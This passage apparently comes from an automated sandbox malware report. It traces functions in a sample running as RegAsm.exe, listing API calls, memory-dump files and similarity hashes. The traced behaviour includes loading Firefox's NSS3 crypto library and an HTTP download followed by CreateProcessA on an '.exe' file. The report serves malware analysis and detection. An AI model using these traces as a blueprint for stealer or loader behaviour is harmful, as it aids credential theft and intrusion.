CERT_DestroyCertList.NSS3(?), ref: 6C24AD36

Part of subcall function 6C222F50: CERT_DestroyCertificate.NSS3(?), ref: 6C222F65
Part of subcall function 6C222F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C222F83

free.MOZGLUE(?), ref: 6C24AD4F

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 1c2008b5ff3362414bc13513e5bdde869ce65170b0bc694bf20377a42ea5015c
Instruction ID: 0d09890c40de6db1453aa9ac48f2eb41f9480051e8b4902aaf72f0de0b3810b0
Opcode Fuzzy Hash: 1c2008b5ff3362414bc13513e5bdde869ce65170b0bc694bf20377a42ea5015c
Instruction Fuzzy Hash: A421C3B5D0021CCBEB14DF64D8055EEB7B8AF05219F458078EC09BBA01FB31AA59CBE1

Function 6C27ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C27F0AD,6C27F150,?,6C27F150,?,?,?), ref: 6C27ECBA

Part of subcall function 6C280FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C2287ED,00000800,6C21EF74,00000000), ref: 6C281000
Part of subcall function 6C280FF0: PR_NewLock.NSS3(?,00000800,6C21EF74,00000000), ref: 6C281016
Part of subcall function 6C280FF0: PL_InitArenaPool.NSS3(00000000,security,6C2287ED,00000008,?,00000800,6C21EF74,00000000), ref: 6C28102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C27ECD1

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C27ED02

Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C27ED5A

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a84ffa203a497cc90b9addaba4221740c320bedbf8fbe8ebabb5582fcd511998
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1C2104B59017465FE300CF21DA44B92B7E8BFA4348F25C215EC1C87AA1EB70E594C6E0

Function 6C2AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C297FFA,?,6C299767,?,8B7874C0,0000A48E), ref: 6C2AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C297FFA,?,6C299767,?,8B7874C0,0000A48E), ref: 6C2AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C297FFA,?,6C299767,?,8B7874C0,0000A48E), ref: 6C2AEE14

Part of subcall function 6C280BE0: malloc.MOZGLUE(6C278D2D,?,00000000,?), ref: 6C280BF8
Part of subcall function 6C280BE0: TlsGetValue.KERNEL32(6C278D2D,?,00000000,?), ref: 6C280C15

memcpy.VCRUNTIME140(?,?,6C299767,00000000,00000000,6C297FFA,?,6C299767,?,8B7874C0,0000A48E), ref: 6C2AEE33

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: adca7c7c8361d4de203346c9e61be0fb7cb6b5c280f2fa980136967b2f747745
Instruction ID: 06c0acbfbd817540c5f697dbb7c06fbbd6f0c894da8ed462fdb7b76cdebe3c9e
Opcode Fuzzy Hash: adca7c7c8361d4de203346c9e61be0fb7cb6b5c280f2fa980136967b2f747745
Instruction Fuzzy Hash: 1C11A7B5A0171BABEB109EA5DD84B06B36CEF0436DF104535ED1982A40E331E47687E2

Function 6C248DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C248DE7
EnterCriticalSection.KERNEL32 ref: 6C248DFC
PR_Unlock.NSS3 ref: 6C248E2D
PR_SetError.NSS3 ref: 6C248E49

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f9aa25ae385d99af5106c5289640c909757d9be6ca95fd8058539d9be6a17ef5
Instruction ID: 77a65d06f07681119e91408ffa507b8c488a1787ddd6f612aefbf179dbec8ce3
Opcode Fuzzy Hash: f9aa25ae385d99af5106c5289640c909757d9be6ca95fd8058539d9be6a17ef5
Instruction Fuzzy Hash: 3F114F75A056159BD700AF78D44469ABBF4FF05714F014969EC89D7B00E730E854CBD2

Function 6C2CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C2B5F17,?,?,?,?,?,?,?,?,6C2BAAD4), ref: 6C2CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C2B5F17,?,?,?,?,?,?,?,?,6C2BAAD4), ref: 6C2CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C2BAAD4), ref: 6C2CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C2BAAD4), ref: 6C2CACDB

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 9b9395861f9a3d6a64cd53f47d65ebe9cdc3b7d5bc0c6f2bb35e152486eaaf78
Instruction ID: 7938ec1f1025b71f3237f3823138b3ecde9ecdf9cf77613c8439372d18b16781
Opcode Fuzzy Hash: 9b9395861f9a3d6a64cd53f47d65ebe9cdc3b7d5bc0c6f2bb35e152486eaaf78
Instruction Fuzzy Hash: 2E0152B5701B16DBDB90DF29E908753B7E8BF0065AB104939E85AC3E10E731F554CB91

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: c7062ee0803dc682f4bd22a1f6830d1074b171fc43ac1dbb61c851727eb39e82
Instruction ID: 3361d4878da1eea6239f97e2bf75980f5f1ac49a34b78f17876420eca4585326
Opcode Fuzzy Hash: c7062ee0803dc682f4bd22a1f6830d1074b171fc43ac1dbb61c851727eb39e82
Instruction Fuzzy Hash: 4DF031B1900218BBDF14DFE59C059BF77BDAB0C616F001095F941E2180E6399A80D775

Function 00412166 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,00414FAC,?,?,?,00414FAC,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121AC

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6C33CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C33CC61
free.MOZGLUE ref: 6C33CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C33CC80
free.MOZGLUE(?), ref: 6C33CC87

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 98c2bece3be5fccd900b4fbdc7cf6f6fc8c0f2f4b74313d12305c6424d357fe5
Instruction ID: ece2133faa95863f0da2251508bc98b9dba2ba072881240988be41c9a5def2f8
Opcode Fuzzy Hash: 98c2bece3be5fccd900b4fbdc7cf6f6fc8c0f2f4b74313d12305c6424d357fe5
Instruction Fuzzy Hash: 98E030767006189BCA10EFA8DC4488677ACEE492713150525F691C3700D231F905CBE5

Function 00412BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

_memset.LIBCMT ref: 00412CDF
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436710), ref: 00412D31

Strings

.exe, xrefs: 00412C3C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: dca4419b34fce0c28ab30abb3e60bf27d84a7dc54cda20d1bfd4b76e486b6db5
Instruction ID: b22801d522c47b455a3bf9a13fec4127fa4a3e5ad37381d5e28ead6c554ce160
Opcode Fuzzy Hash: dca4419b34fce0c28ab30abb3e60bf27d84a7dc54cda20d1bfd4b76e486b6db5
Instruction Fuzzy Hash: 87418472E00109BBDF11FBA6ED42ACE7375AF44308F110076F500B7191D6B86E8A8BD9

Function 6C274D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C274D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C274DE6

Strings

%d.%d, xrefs: 6C274DDE

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 99f73a97c9c5a214348e57656ae56e09103f3778fdac7fcddef7a8b2bcb9bfa3
Instruction ID: d509c7239ab0b46fd6873131ff907b742cb0e85384b0a232d2a9c706c3976896
Opcode Fuzzy Hash: 99f73a97c9c5a214348e57656ae56e09103f3778fdac7fcddef7a8b2bcb9bfa3
Instruction Fuzzy Hash: 1531F8B6E0021D6BEB209B609C45FFF7768DF40308F050429ED559B681EB709919CFB2

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 8a227626b72f4056b64c0a26e4177402fb02d15917d8bca6e61607cae78b5d0a
Instruction ID: 7a0806fae085cf6787416122fb97cfb1012f07200118ac727d966ddb9d8bf46f
Opcode Fuzzy Hash: 8a227626b72f4056b64c0a26e4177402fb02d15917d8bca6e61607cae78b5d0a
Instruction Fuzzy Hash: D211E371300201AFDB24DE2DD840929B369FF85354714013FF801ABBC2C779EC59C2AA

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction ID: 1c9963d8e1bd3712552ddde0994ffc3eb950a7432bc1cc1e62e4a2615aecff81
Opcode Fuzzy Hash: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction Fuzzy Hash: 5A11A572910108FFCB10CFA5CD848DEBB7AFE05361B21026BEA11A21A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC5A
Part of subcall function 0042EC45: __CxxThrowException@8.LIBCMT ref: 0042EC6F
Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC80

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: 91242230ce68a24c4f38e49356161a9258fe8054196df98927784ca714c59dc8
Instruction ID: e23b5eb9a1e42f9e221b8677ce3c7703de2c6ddbdd5f367577b3bfe0c378d6ff
Opcode Fuzzy Hash: 91242230ce68a24c4f38e49356161a9258fe8054196df98927784ca714c59dc8
Instruction Fuzzy Hash: 0111E131304210DBDB24DE6DD88095973A6AF55324754063BF815EFAC2C33CED49879A

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC5A
